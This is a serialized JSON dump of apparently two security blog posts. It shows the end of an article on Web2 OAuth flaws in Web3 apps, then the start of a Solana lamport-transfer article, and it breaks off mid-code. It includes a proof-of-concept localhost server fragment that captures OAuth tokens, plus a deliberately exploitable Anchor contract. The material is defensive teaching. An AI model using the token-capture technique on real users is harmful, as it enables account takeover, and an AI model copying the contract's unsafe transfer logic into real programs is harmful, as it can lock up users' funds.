h1",{"type":23,"tag":75,"props":82172,"children":82173},{"style":94},[82174],{"type":29,"value":20837},{"type":23,"tag":75,"props":82176,"children":82177},{"style":209},[82178],{"type":29,"value":7862},{"type":23,"tag":75,"props":82180,"children":82181},{"style":1266},[82182],{"type":29,"value":82183},"\"Google OAuth Redirect\"",{"type":23,"tag":75,"props":82185,"children":82186},{"style":94},[82187],{"type":29,"value":7477},{"type":23,"tag":75,"props":82189,"children":82190},{"class":77,"line":4950},[82191,82196],{"type":23,"tag":75,"props":82192,"children":82193},{"style":88},[82194],{"type":29,"value":82195},"                            script",{"type":23,"tag":75,"props":82197,"children":82198},{"style":94},[82199],{"type":29,"value":401},{"type":23,"tag":75,"props":82201,"children":82202},{"class":77,"line":4958},[82203,82208],{"type":23,"tag":75,"props":82204,"children":82205},{"style":209},[82206],{"type":29,"value":82207},"                                +",{"type":23,"tag":75,"props":82209,"children":82210},{"style":1266},[82211],{"type":29,"value":82212},"\"document.body.innerText = location.search;\"\n",{"type":23,"tag":75,"props":82214,"children":82215},{"class":77,"line":4967},[82216],{"type":23,"tag":75,"props":82217,"children":82218},{"style":94},[82219],{"type":29,"value":82220},"                            }\n",{"type":23,"tag":75,"props":82222,"children":82223},{"class":77,"line":4975},[82224],{"type":23,"tag":75,"props":82225,"children":82226},{"style":94},[82227],{"type":29,"value":82150},{"type":23,"tag":75,"props":82229,"children":82230},{"class":77,"line":5016},[82231],{"type":23,"tag":75,"props":82232,"children":82233},{"style":94},[82234],{"type":29,"value":82235},"                    }\n",{"type":23,"tag":75,"props":82237,"children":82238},{"class":77,"line":5025},[82239],{"type":23,"tag":75,"props":82240,"children":82241},{"style":94},[82242],{"type":29,"value":4964},{"type":23,"tag":75,"props":82244,"children":82245},{"class":77,"line":5033},[82246],{"type":23,"tag":75,"props":82247,"children":82248},{"style":94},[82249],{"type":29,"value":5022},{"type":23,"tag":75,"props":82251,"children":82252},{"class":77,"line":5041},[82253,82258,82263,82268,82272,82276],{"type":23,"tag":75,"props":82254,"children":82255},{"style":94},[82256],{"type":29,"value":82257},"        }.",{"type":23,"tag":75,"props":82259,"children":82260},{"style":88},[82261],{"type":29,"value":82262},"start",{"type":23,"tag":75,"props":82264,"children":82265},{"style":94},[82266],{"type":29,"value":82267},"(wait ",{"type":23,"tag":75,"props":82269,"children":82270},{"style":209},[82271],{"type":29,"value":212},{"type":23,"tag":75,"props":82273,"children":82274},{"style":82},[82275],{"type":29,"value":23713},{"type":23,"tag":75,"props":82277,"children":82278},{"style":94},[82279],{"type":29,"value":653},{"type":23,"tag":75,"props":82281,"children":82282},{"class":77,"line":5050},[82283],{"type":23,"tag":75,"props":82284,"children":82285},{"style":94},[82286],{"type":29,"value":346},{"type":23,"tag":75,"props":82288,"children":82289},{"class":77,"line":5058},[82290],{"type":23,"tag":75,"props":82291,"children":82292},{"style":94},[82293],{"type":29,"value":369},{"type":23,"tag":32,"props":82295,"children":82296},{},[82297],{"type":29,"value":82298},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":23,"tag":32,"props":82300,"children":82301},{},[82302],{"type":29,"value":82303},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":23,"tag":923,"props":82305,"children":82307},{"id":82306},"mitigation-1",[82308],{"type":29,"value":51526},{"type":23,"tag":32,"props":82310,"children":82311},{},[82312,82314,82319],{"type":29,"value":82313},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":23,"tag":71,"props":82315,"children":82317},{"className":82316},[],[82318],{"type":29,"value":80938},{"type":29,"value":82320}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":23,"tag":24,"props":82322,"children":82323},{"id":14115},[82324],{"type":29,"value":14118},{"type":23,"tag":32,"props":82326,"children":82327},{},[82328],{"type":29,"value":82329},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":23,"tag":32,"props":82331,"children":82332},{},[82333],{"type":29,"value":82334},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":23,"tag":14130,"props":82336,"children":82337},{},[82338],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":82340},[82341,82348,82353,82356],{"id":80706,"depth":100,"text":80709,"children":82342},[82343,82344,82345,82346,82347],{"id":80717,"depth":121,"text":80720},{"id":80744,"depth":121,"text":80747},{"id":80805,"depth":121,"text":80808},{"id":80862,"depth":121,"text":80865},{"id":80961,"depth":121,"text":80964},{"id":81007,"depth":100,"text":81010,"children":82349},[82350,82351,82352],{"id":81013,"depth":121,"text":81016},{"id":81040,"depth":121,"text":81043},{"id":51523,"depth":121,"text":51526},{"id":81488,"depth":100,"text":81491,"children":82354},[82355],{"id":82306,"depth":121,"text":51526},{"id":14115,"depth":100,"text":14118},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":82361,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":82362,"description":82363,"author":51642,"image":82364,"date":82366,"isFeatured":15,"tags":82367,"onBlogPage":15,"body":82368,"_type":14157,"_id":87021,"_source":14159,"_file":87022,"_stem":87023,"_extension":14162},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":82365,"height":14,"width":14},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[14174],{"type":20,"children":82369,"toc":87010},[82370,82374,82379,82393,82399,82404,82434,82439,82444,83481,83486,83494,83499,83505,83511,83523,83556,83568,83581,83593,84038,84043,84089,84095,84100,84187,84192,84206,84219,84882,84887,84899,84905,84916,84928,85082,85096,85115,85136,85142,85147,85492,85497,85503,85522,85536,86158,86163,86183,86188,86193,86199,86211,86232,86407,86413,86418,86719,86740,86752,86764,86848,86868,86880,86886,86898,86904,86909,86932,86944,86950,86962,86967,86973,86978,86983,87001,87006],{"type":23,"tag":24,"props":82371,"children":82372},{"id":26},[82373],{"type":29,"value":30},{"type":23,"tag":32,"props":82375,"children":82376},{},[82377],{"type":29,"value":82378},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":23,"tag":32,"props":82380,"children":82381},{},[82382,82384,82391],{"type":29,"value":82383},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":23,"tag":940,"props":82385,"children":82388},{"href":82386,"rel":82387},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[944],[82389],{"type":29,"value":82390},"King of the Ether",{"type":29,"value":82392},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":23,"tag":24,"props":82394,"children":82396},{"id":82395},"the-game-king-of-the-sol",[82397],{"type":29,"value":82398},"The Game: King of the SOL",{"type":23,"tag":32,"props":82400,"children":82401},{},[82402],{"type":29,"value":82403},"The game works like this:",{"type":23,"tag":27910,"props":82405,"children":82406},{},[82407,82419,82424,82429],{"type":23,"tag":2801,"props":82408,"children":82409},{},[82410,82412,82417],{"type":29,"value":82411},"Anyone can become the ",{"type":23,"tag":16596,"props":82413,"children":82414},{},[82415],{"type":29,"value":82416},"king",{"type":29,"value":82418}," by bidding at least 2× the previous bid.",{"type":23,"tag":2801,"props":82420,"children":82421},{},[82422],{"type":29,"value":82423},"The old king is reimbursed 95% of their bid.",{"type":23,"tag":2801,"props":82425,"children":82426},{},[82427],{"type":29,"value":82428},"The remaining 5% goes into a prize pot.",{"type":23,"tag":2801,"props":82430,"children":82431},{},[82432],{"type":29,"value":82433},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":23,"tag":32,"props":82435,"children":82436},{},[82437],{"type":29,"value":82438},"Simple, right?",{"type":23,"tag":32,"props":82440,"children":82441},{},[82442],{"type":29,"value":82443},"This is the core logic:",{"type":23,"tag":64,"props":82445,"children":82447},{"className":987,"code":82446,"language":986,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    /// CHECK: any writable account is allowed as a new king.\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n        // Check that bid_amount is at least 2x last_bid_amount\n        assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n        transfer_from_signer(\n            &ctx.accounts.payer,\n            &ctx.accounts.throne.to_account_info(),\n            bid_amount,\n        )?;\n\n        // Reimburse 95% of the last bid to the old king\n        let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n        transfer_from_pda(\n            &ctx.accounts.throne.to_account_info(),\n            &ctx.accounts.old_king,\n            to_reimburse,\n        )?;\n\n        // Set new king\n        ctx.accounts.throne.king = ctx.accounts.new_king.key();\n        ctx.accounts.throne.last_bid_amount = bid_amount;\n        ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n        Ok(())\n    }\n}\n",[82448],{"type":23,"tag":71,"props":82449,"children":82450},{"__ignoreMap":7},[82451,82466,82494,82509,82550,82557,82565,82616,82647,82654,82662,82677,82709,82716,82731,82762,82769,82776,82784,82801,82875,82883,82944,82956,82984,83024,83036,83052,83059,83067,83141,83153,83192,83220,83232,83247,83254,83262,83331,83375,83449,83456,83467,83474],{"type":23,"tag":75,"props":82452,"children":82453},{"class":77,"line":78},[82454,82458,82462],{"type":23,"tag":75,"props":82455,"children":82456},{"style":94},[82457],{"type":29,"value":34052},{"type":23,"tag":75,"props":82459,"children":82460},{"style":104},[82461],{"type":29,"value":34057},{"type":23,"tag":75,"props":82463,"children":82464},{"style":94},[82465],{"type":29,"value":31480},{"type":23,"tag":75,"props":82467,"children":82468},{"class":77,"line":100},[82469,82473,82477,82482,82486,82490],{"type":23,"tag":75,"props":82470,"children":82471},{"style":82},[82472],{"type":29,"value":24933},{"type":23,"tag":75,"props":82474,"children":82475},{"style":82},[82476],{"type":29,"value":396},{"type":23,"tag":75,"props":82478,"children":82479},{"style":104},[82480],{"type":29,"value":82481}," ChangeKing",{"type":23,"tag":75,"props":82483,"children":82484},{"style":94},[82485],{"type":29,"value":34137},{"type":23,"tag":75,"props":82487,"children":82488},{"style":104},[82489],{"type":29,"value":34142},{"type":23,"tag":75,"props":82491,"children":82492},{"style":94},[82493],{"type":29,"value":1175},{"type":23,"tag":75,"props":82495,"children":82496},{"class":77,"line":121},[82497,82501,82505],{"type":23,"tag":75,"props":82498,"children":82499},{"style":94},[82500],{"type":29,"value":34344},{"type":23,"tag":75,"props":82502,"children":82503},{"style":82},[82504],{"type":29,"value":14998},{"type":23,"tag":75,"props":82506,"children":82507},{"style":94},[82508],{"type":29,"value":31480},{"type":23,"tag":75,"props":82510,"children":82511},{"class":77,"line":138},[82512,82516,82521,82525,82529,82533,82537,82541,82546],{"type":23,"tag":75,"props":82513,"children":82514},{"style":82},[82515],{"type":29,"value":32061},{"type":23,"tag":75,"props":82517,"children":82518},{"style":110},[82519],{"type":29,"value":82520}," throne",{"type":23,"tag":75,"props":82522,"children":82523},{"style":209},[82524],{"type":29,"value":1018},{"type":23,"tag":75,"props":82526,"children":82527},{"style":104},[82528],{"type":29,"value":34309},{"type":23,"tag":75,"props":82530,"children":82531},{"style":94},[82532],{"type":29,"value":34137},{"type":23,"tag":75,"props":82534,"children":82535},{"style":104},[82536],{"type":29,"value":34142},{"type":23,"tag":75,"props":82538,"children":82539},{"style":94},[82540],{"type":29,"value":611},{"type":23,"tag":75,"props":82542,"children":82543},{"style":104},[82544],{"type":29,"value":82545},"Throne",{"type":23,"tag":75,"props":82547,"children":82548},{"style":94},[82549],{"type":29,"value":1114},{"type":23,"tag":75,"props":82551,"children":82552},{"class":77,"line":161},[82553],{"type":23,"tag":75,"props":82554,"children":82555},{"emptyLinePlaceholder":15},[82556],{"type":29,"value":276},{"type":23,"tag":75,"props":82558,"children":82559},{"class":77,"line":196},[82560],{"type":23,"tag":75,"props":82561,"children":82562},{"style":3621},[82563],{"type":29,"value":82564},"    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":23,"tag":75,"props":82566,"children":82567},{"class":77,"line":220},[82568,82572,82576,82581,82585,82590,82594,82599,82603,82607,82611],{"type":23,"tag":75,"props":82569,"children":82570},{"style":94},[82571],{"type":29,"value":34344},{"type":23,"tag":75,"props":82573,"children":82574},{"style":82},[82575],{"type":29,"value":14998},{"type":23,"tag":75,"props":82577,"children":82578},{"style":94},[82579],{"type":29,"value":82580},", constraint ",{"type":23,"tag":75,"props":82582,"children":82583},{"style":209},[82584],{"type":29,"value":212},{"type":23,"tag":75,"props":82586,"children":82587},{"style":94},[82588],{"type":29,"value":82589}," old_king",{"type":23,"tag":75,"props":82591,"children":82592},{"style":209},[82593],{"type":29,"value":557},{"type":23,"tag":75,"props":82595,"children":82596},{"style":94},[82597],{"type":29,"value":82598},"key() ",{"type":23,"tag":75,"props":82600,"children":82601},{"style":209},[82602],{"type":29,"value":2469},{"type":23,"tag":75,"props":82604,"children":82605},{"style":94},[82606],{"type":29,"value":82520},{"type":23,"tag":75,"props":82608,"children":82609},{"style":209},[82610],{"type":29,"value":557},{"type":23,"tag":75,"props":82612,"children":82613},{"style":94},[82614],{"type":29,"value":82615},"king)]\n",{"type":23,"tag":75,"props":82617,"children":82618},{"class":77,"line":248},[82619,82623,82627,82631,82635,82639,82643],{"type":23,"tag":75,"props":82620,"children":82621},{"style":82},[82622],{"type":29,"value":32061},{"type":23,"tag":75,"props":82624,"children":82625},{"style":110},[82626],{"type":29,"value":82589},{"type":23,"tag":75,"props":82628,"children":82629},{"style":209},[82630],{"type":29,"value":1018},{"type":23,"tag":75,"props":82632,"children":82633},{"style":104},[82634],{"type":29,"value":36600},{"type":23,"tag":75,"props":82636,"children":82637},{"style":94},[82638],{"type":29,"value":34137},{"type":23,"tag":75,"props":82640,"children":82641},{"style":104},[82642],{"type":29,"value":34142},{"type":23,"tag":75,"props":82644,"children":82645},{"style":94},[82646],{"type":29,"value":1114},{"type":23,"tag":75,"props":82648,"children":82649},{"class":77,"line":270},[82650],{"type":23,"tag":75,"props":82651,"children":82652},{"emptyLinePlaceholder":15},[82653],{"type":29,"value":276},{"type":23,"tag":75,"props":82655,"children":82656},{"class":77,"line":279},[82657],{"type":23,"tag":75,"props":82658,"children":82659},{"style":3621},[82660],{"type":29,"value":82661},"    /// CHECK: any writable account is allowed as a new king.\n",{"type":23,"tag":75,"props":82663,"children":82664},{"class":77,"line":303},[82665,82669,82673],{"type":23,"tag":75,"props":82666,"children":82667},{"style":94},[82668],{"type":29,"value":34344},{"type":23,"tag":75,"props":82670,"children":82671},{"style":82},[82672],{"type":29,"value":14998},{"type":23,"tag":75,"props":82674,"children":82675},{"style":94},[82676],{"type":29,"value":31480},{"type":23,"tag":75,"props":82678,"children":82679},{"class":77,"line":322},[82680,82684,82689,82693,82697,82701,82705],{"type":23,"tag":75,"props":82681,"children":82682},{"style":82},[82683],{"type":29,"value":32061},{"type":23,"tag":75,"props":82685,"children":82686},{"style":110},[82687],{"type":29,"value":82688}," new_king",{"type":23,"tag":75,"props":82690,"children":82691},{"style":209},[82692],{"type":29,"value":1018},{"type":23,"tag":75,"props":82694,"children":82695},{"style":104},[82696],{"type":29,"value":36600},{"type":23,"tag":75,"props":82698,"children":82699},{"style":94},[82700],{"type":29,"value":34137},{"type":23,"tag":75,"props":82702,"children":82703},{"style":104},[82704],{"type":29,"value":34142},{"type":23,"tag":75,"props":82706,"children":82707},{"style":94},[82708],{"type":29,"value":1114},{"type":23,"tag":75,"props":82710,"children":82711},{"class":77,"line":340},[82712],{"type":23,"tag":75,"props":82713,"children":82714},{"emptyLinePlaceholder":15},[82715],{"type":29,"value":276},{"type":23,"tag":75,"props":82717,"children":82718},{"class":77,"line":349},[82719,82723,82727],{"type":23,"tag":75,"props":82720,"children":82721},{"style":94},[82722],{"type":29,"value":34344},{"type":23,"tag":75,"props":82724,"children":82725},{"style":82},[82726],{"type":29,"value":14998},{"type":23,"tag":75,"props":82728,"children":82729},{"style":94},[82730],{"type":29,"value":31480},{"type":23,"tag":75,"props":82732,"children":82733},{"class":77,"line":363},[82734,82738,82742,82746,82750,82754,82758],{"type":23,"tag":75,"props":82735,"children":82736},{"style":82},[82737],{"type":29,"value":32061},{"type":23,"tag":75,"props":82739,"children":82740},{"style":110},[82741],{"type":29,"value":53431},{"type":23,"tag":75,"props":82743,"children":82744},{"style":209},[82745],{"type":29,"value":1018},{"type":23,"tag":75,"props":82747,"children":82748},{"style":104},[82749],{"type":29,"value":34373},{"type":23,"tag":75,"props":82751,"children":82752},{"style":94},[82753],{"type":29,"value":34137},{"type":23,"tag":75,"props":82755,"children":82756},{"style":104},[82757],{"type":29,"value":34142},{"type":23,"tag":75,"props":82759,"children":82760},{"style":94},[82761],{"type":29,"value":1114},{"type":23,"tag":75,"props":82763,"children":82764},{"class":77,"line":656},[82765],{"type":23,"tag":75,"props":82766,"children":82767},{"style":94},[82768],{"type":29,"value":369},{"type":23,"tag":75,"props":82770,"children":82771},{"class":77,"line":705},[82772],{"type":23,"tag":75,"props":82773,"children":82774},{"emptyLinePlaceholder":15},[82775],{"type":29,"value":276},{"type":23,"tag":75,"props":82777,"children":82778},{"class":77,"line":787},[82779],{"type":23,"tag":75,"props":82780,"children":82781},{"style":94},[82782],{"type":29,"value":82783},"#[program]\n",{"type":23,"tag":75,"props":82785,"children":82786},{"class":77,"line":826},[82787,82791,82796],{"type":23,"tag":75,"props":82788,"children":82789},{"style":82},[82790],{"type":29,"value":24933},{"type":23,"tag":75,"props":82792,"children":82793},{"style":82},[82794],{"type":29,"value":82795}," mod",{"type":23,"tag":75,"props":82797,"children":82798},{"style":94},[82799],{"type":29,"value":82800}," king_of_the_sol {\n",{"type":23,"tag":75,"props":82802,"children":82803},{"class":77,"line":834},[82804,82808,82812,82817,82821,82825,82829,82833,82837,82842,82846,82851,82855,82859,82863,82867,82871],{"type":23,"tag":75,"props":82805,"children":82806},{"style":82},[82807],{"type":29,"value":32061},{"type":23,"tag":75,"props":82809,"children":82810},{"style":82},[82811],{"type":29,"value":24938},{"type":23,"tag":75,"props":82813,"children":82814},{"style":88},[82815],{"type":29,"value":82816}," change_king",{"type":23,"tag":75,"props":82818,"children":82819},{"style":94},[82820],{"type":29,"value":643},{"type":23,"tag":75,"props":82822,"children":82823},{"style":110},[82824],{"type":29,"value":3331},{"type":23,"tag":75,"props":82826,"children":82827},{"style":209},[82828],{"type":29,"value":1018},{"type":23,"tag":75,"props":82830,"children":82831},{"style":104},[82832],{"type":29,"value":31509},{"type":23,"tag":75,"props":82834,"children":82835},{"style":94},[82836],{"type":29,"value":295},{"type":23,"tag":75,"props":82838,"children":82839},{"style":104},[82840],{"type":29,"value":82841},"ChangeKing",{"type":23,"tag":75,"props":82843,"children":82844},{"style":94},[82845],{"type":29,"value":17895},{"type":23,"tag":75,"props":82847,"children":82848},{"style":110},[82849],{"type":29,"value":82850},"bid_amount",{"type":23,"tag":75,"props":82852,"children":82853},{"style":209},[82854],{"type":29,"value":1018},{"type":23,"tag":75,"props":82856,"children":82857},{"style":104},[82858],{"type":29,"value":17129},{"type":23,"tag":75,"props":82860,"children":82861},{"style":94},[82862],{"type":29,"value":167},{"type":23,"tag":75,"props":82864,"children":82865},{"style":209},[82866],{"type":29,"value":1156},{"type":23,"tag":75,"props":82868,"children":82869},{"style":104},[82870],{"type":29,"value":25004},{"type":23,"tag":75,"props":82872,"children":82873},{"style":94},[82874],{"type":29,"value":31551},{"type":23,"tag":75,"props":82876,"children":82877},{"class":77,"line":881},[82878],{"type":23,"tag":75,"props":82879,"children":82880},{"style":3621},[82881],{"type":29,"value":82882},"        // Check that bid_amount is at least 2x last_bid_amount\n",{"type":23,"tag":75,"props":82884,"children":82885},{"class":77,"line":3355},[82886,82890,82894,82898,82902,82906,82910,82914,82918,82923,82927,82932,82936,82940],{"type":23,"tag":75,"props":82887,"children":82888},{"style":88},[82889],{"type":29,"value":75624},{"type":23,"tag":75,"props":82891,"children":82892},{"style":94},[82893],{"type":29,"value":643},{"type":23,"tag":75,"props":82895,"children":82896},{"style":110},[82897],{"type":29,"value":82850},{"type":23,"tag":75,"props":82899,"children":82900},{"style":209},[82901],{"type":29,"value":19561},{"type":23,"tag":75,"props":82903,"children":82904},{"style":110},[82905],{"type":29,"value":3142},{"type":23,"tag":75,"props":82907,"children":82908},{"style":209},[82909],{"type":29,"value":557},{"type":23,"tag":75,"props":82911,"children":82912},{"style":94},[82913],{"type":29,"value":25911},{"type":23,"tag":75,"props":82915,"children":82916},{"style":209},[82917],{"type":29,"value":557},{"type":23,"tag":75,"props":82919,"children":82920},{"style":94},[82921],{"type":29,"value":82922},"throne",{"type":23,"tag":75,"props":82924,"children":82925},{"style":209},[82926],{"type":29,"value":557},{"type":23,"tag":75,"props":82928,"children":82929},{"style":94},[82930],{"type":29,"value":82931},"last_bid_amount ",{"type":23,"tag":75,"props":82933,"children":82934},{"style":209},[82935],{"type":29,"value":601},{"type":23,"tag":75,"props":82937,"children":82938},{"style":237},[82939],{"type":29,"value":19193},{"type":23,"tag":75,"props":82941,"children":82942},{"style":94},[82943],{"type":29,"value":15099},{"type":23,"tag":75,"props":82945,"children":82946},{"class":77,"line":3390},[82947,82952],{"type":23,"tag":75,"props":82948,"children":82949},{"style":88},[82950],{"type":29,"value":82951},"        transfer_from_signer",{"type":23,"tag":75,"props":82953,"children":82954},{"style":94},[82955],{"type":29,"value":97},{"type":23,"tag":75,"props":82957,"children":82958},{"class":77,"line":3423},[82959,82963,82967,82971,82975,82979],{"type":23,"tag":75,"props":82960,"children":82961},{"style":209},[82962],{"type":29,"value":18944},{"type":23,"tag":75,"props":82964,"children":82965},{"style":110},[82966],{"type":29,"value":3331},{"type":23,"tag":75,"props":82968,"children":82969},{"style":209},[82970],{"type":29,"value":557},{"type":23,"tag":75,"props":82972,"children":82973},{"style":94},[82974],{"type":29,"value":25911},{"type":23,"tag":75,"props":82976,"children":82977},{"style":209},[82978],{"type":29,"value":557},{"type":23,"tag":75,"props":82980,"children":82981},{"style":94},[82982],{"type":29,"value":82983},"payer,\n",{"type":23,"tag":75,"props":82985,"children":82986},{"class":77,"line":3436},[82987,82991,82995,82999,83003,83007,83011,83015,83020],{"type":23,"tag":75,"props":82988,"children":82989},{"style":209},[82990],{"type":29,"value":18944},{"type":23,"tag":75,"props":82992,"children":82993},{"style":110},[82994],{"type":29,"value":3331},{"type":23,"tag":75,"props":82996,"children":82997},{"style":209},[82998],{"type":29,"value":557},{"type":23,"tag":75,"props":83000,"children":83001},{"style":94},[83002],{"type":29,"value":25911},{"type":23,"tag":75,"props":83004,"children":83005},{"style":209},[83006],{"type":29,"value":557},{"type":23,"tag":75,"props":83008,"children":83009},{"style":94},[83010],{"type":29,"value":82922},{"type":23,"tag":75,"props":83012,"children":83013},{"style":209},[83014],{"type":29,"value":557},{"type":23,"tag":75,"props":83016,"children":83017},{"style":88},[83018],{"type":29,"value":83019},"to_account_info",{"type":23,"tag":75,"props":83021,"children":83022},{"style":94},[83023],{"type":29,"value":2580},{"type":23,"tag":75,"props":83025,"children":83026},{"class":77,"line":3449},[83027,83032],{"type":23,"tag":75,"props":83028,"children":83029},{"style":110},[83030],{"type":29,"value":83031},"            bid_amount",{"type":23,"tag":75,"props":83033,"children":83034},{"style":94},[83035],{"type":29,"value":118},{"type":23,"tag":75,"props":83037,"children":83038},{"class":77,"line":3457},[83039,83044,83048],{"type":23,"tag":75,"props":83040,"children":83041},{"style":94},[83042],{"type":29,"value":83043},"        )",{"type":23,"tag":75,"props":83045,"children":83046},{"style":209},[83047],{"type":29,"value":1225},{"type":23,"tag":75,"props":83049,"children":83050},{"style":94},[83051],{"type":29,"value":245},{"type":23,"tag":75,"props":83053,"children":83054},{"class":77,"line":3465},[83055],{"type":23,"tag":75,"props":83056,"children":83057},{"emptyLinePlaceholder":15},[83058],{"type":29,"value":276},{"type":23,"tag":75,"props":83060,"children":83061},{"class":77,"line":3473},[83062],{"type":23,"tag":75,"props":83063,"children":83064},{"style":3621},[83065],{"type":29,"value":83066},"        // Reimburse 95% of the last bid to the old king\n",{"type":23,"tag":75,"props":83068,"children":83069},{"class":77,"line":3481},[83070,83074,83079,83083,83087,83091,83095,83099,83103,83107,83111,83115,83119,83124,83128,83132,83137],{"type":23,"tag":75,"props":83071,"children":83072},{"style":82},[83073],{"type":29,"value":14352},{"type":23,"tag":75,"props":83075,"children":83076},{"style":110},[83077],{"type":29,"value":83078}," to_reimburse",{"type":23,"tag":75,"props":83080,"children":83081},{"style":209},[83082],{"type":29,"value":1193},{"type":23,"tag":75,"props":83084,"children":83085},{"style":94},[83086],{"type":29,"value":183},{"type":23,"tag":75,"props":83088,"children":83089},{"style":110},[83090],{"type":29,"value":3331},{"type":23,"tag":75,"props":83092,"children":83093},{"style":209},[83094],{"type":29,"value":557},{"type":23,"tag":75,"props":83096,"children":83097},{"style":94},[83098],{"type":29,"value":25911},{"type":23,"tag":75,"props":83100,"children":83101},{"style":209},[83102],{"type":29,"value":557},{"type":23,"tag":75,"props":83104,"children":83105},{"style":94},[83106],{"type":29,"value":82922},{"type":23,"tag":75,"props":83108,"children":83109},{"style":209},[83110],{"type":29,"value":557},{"type":23,"tag":75,"props":83112,"children":83113},{"style":94},[83114],{"type":29,"value":82931},{"type":23,"tag":75,"props":83116,"children":83117},{"style":209},[83118],{"type":29,"value":601},{"type":23,"tag":75,"props":83120,"children":83121},{"style":237},[83122],{"type":29,"value":83123}," 9500",{"type":23,"tag":75,"props":83125,"children":83126},{"style":94},[83127],{"type":29,"value":167},{"type":23,"tag":75,"props":83129,"children":83130},{"style":209},[83131],{"type":29,"value":5647},{"type":23,"tag":75,"props":83133,"children":83134},{"style":237},[83135],{"type":29,"value":83136}," 10000",{"type":23,"tag":75,"props":83138,"children":83139},{"style":94},[83140],{"type":29,"value":245},{"type":23,"tag":75,"props":83142,"children":83143},{"class":77,"line":3524},[83144,83149],{"type":23,"tag":75,"props":83145,"children":83146},{"style":88},[83147],{"type":29,"value":83148},"        transfer_from_pda",{"type":23,"tag":75,"props":83150,"children":83151},{"style":94},[83152],{"type":29,"value":97},{"type":23,"tag":75,"props":83154,"children":83155},{"class":77,"line":4890},[83156,83160,83164,83168,83172,83176,83180,83184,83188],{"type":23,"tag":75,"props":83157,"children":83158},{"style":209},[83159],{"type":29,"value":18944},{"type":23,"tag":75,"props":83161,"children":83162},{"style":110},[83163],{"type":29,"value":3331},{"type":23,"tag":75,"props":83165,"children":83166},{"style":209},[83167],{"type":29,"value":557},{"type":23,"tag":75,"props":83169,"children":83170},{"style":94},[83171],{"type":29,"value":25911},{"type":23,"tag":75,"props":83173,"children":83174},{"style":209},[83175],{"type":29,"value":557},{"type":23,"tag":75,"props":83177,"children":83178},{"style":94},[83179],{"type":29,"value":82922},{"type":23,"tag":75,"props":83181,"children":83182},{"style":209},[83183],{"type":29,"value":557},{"type":23,"tag":75,"props":83185,"children":83186},{"style":88},[83187],{"type":29,"value":83019},{"type":23,"tag":75,"props":83189,"children":83190},{"style":94},[83191],{"type":29,"value":2580},{"type":23,"tag":75,"props":83193,"children":83194},{"class":77,"line":4937},[83195,83199,83203,83207,83211,83215],{"type":23,"tag":75,"props":83196,"children":83197},{"style":209},[83198],{"type":29,"value":18944},{"type":23,"tag":75,"props":83200,"children":83201},{"style":110},[83202],{"type":29,"value":3331},{"type":23,"tag":75,"props":83204,"children":83205},{"style":209},[83206],{"type":29,"value":557},{"type":23,"tag":75,"props":83208,"children":83209},{"style":94},[83210],{"type":29,"value":25911},{"type":23,"tag":75,"props":83212,"children":83213},{"style":209},[83214],{"type":29,"value":557},{"type":23,"tag":75,"props":83216,"children":83217},{"style":94},[83218],{"type":29,"value":83219},"old_king,\n",{"type":23,"tag":75,"props":83221,"children":83222},{"class":77,"line":4950},[83223,83228],{"type":23,"tag":75,"props":83224,"children":83225},{"style":110},[83226],{"type":29,"value":83227},"            